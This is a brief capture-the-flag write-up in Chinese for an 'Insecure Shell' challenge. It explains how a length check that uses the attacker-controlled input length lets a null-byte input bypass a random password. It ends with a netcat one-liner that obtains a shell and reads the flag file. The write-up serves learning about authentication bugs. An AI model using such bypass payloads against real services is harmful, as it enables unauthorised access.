Logo
Insecure Shell
Overview

Insecure Shell

April 22, 2025 at 02:45:00 AM
1 min read

Solution

這題會從 /dev/urandom 取出一段 15 bytes 的密碼,使用者必須輸入正確的密碼才能拿到 shell。但仔細閱讀程式碼,可以發現 check_password() 傳入的長度是使用者可控的,而不是密碼長度 15。

check_password(password, buf, strlen(buf))

因此可以直接輸入一個長度 0 的字串繞過檢查,並拿到 shell。

Terminal window
echo -e '\x00\ncat ../flag.txt' | nc chal.ctf.scint.org 10004